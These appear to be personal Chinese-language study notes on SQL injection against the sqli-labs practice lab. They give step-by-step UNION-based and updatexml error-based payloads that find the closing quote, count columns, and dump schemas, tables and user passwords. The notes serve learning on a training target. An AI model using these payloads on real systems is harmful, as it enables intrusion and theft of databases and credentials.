SQL注入笔记#

一、测试有无SQL注入漏洞#

1
http://192.168.26.133/sqli/Less-1/?id=-1
2
输入?id=1能显示，-1不显示，即可判断有sql注入漏洞

二、找闭合符号#

1
需要先判断是否是数字还是字符串类型，是字符串才需要找闭合
2
http://192.168.26.133/sqli/Less-1/?id=1'
3
报错就代表找对了
4
常见的闭合符号有
5
'
6
"
7
')
8
")
9
'))
10
"))
11

12
http://192.168.26.133/sqli/Less-1/?id=1'--+
13
加入--+注释发现页面又可以正常显示，说明找对了

三、测试有多少字段#

1
http://192.168.26.133/sqli/Less-1/?id=1' order by <    这里是输入1-99来测试>--+
2
测试到报错，就可以知道有几个字段，就比如我这个测试到4报错，因为没有第四个字段，可以推测出来有三个字段

四、联合查询找回显点#

1
http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,3--+
2
id改为-1是为了让他报错，这样才可以显示出来回显点
3
这个网站的回显点是字段2和3

五、爆数据库名#

1
http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,database()--+
2
database()    是mysql查询数据库的参数
3
version()     是查询数据库版本的参数

六、爆所有数据库#

1
http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
2
group_concat    是连接字符串

七、爆表#

1
http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
2
table_schema    表的数据库

八、爆字段#

1
http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

九、爆数据#

1
http://192.168.26.133/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,password) from security.users--+

十、报错查询#

1
http://192.168.26.133/sqli/Less-5/?id=1'and updatexml(1,concat('$',(select database()),'$'),1)--+
2
主要使用的是
3
updatexml(1,(concat('$',(sql    命令),'$')),1)
4

5

6
爆所有数据库
7
http://192.168.26.133/sqli/Less-5/?id=1'and updatexml(1,concat('$',(select schema_name from information_schema.schemata limit 2,1),'$'),1)--+
8

9
limit 0,1   0                   指的是第几条数据，1是表示取几个，修改0即可
10

11
爆表
12
http://192.168.26.133/sqli/Less-5/?id=1'and updatexml(1,concat('$',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'$'),1)--+
13

14
爆字段
15
http://192.168.26.133/sqli/Less-5/?id=1'and updatexml(1,concat('$',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'$'),1)--+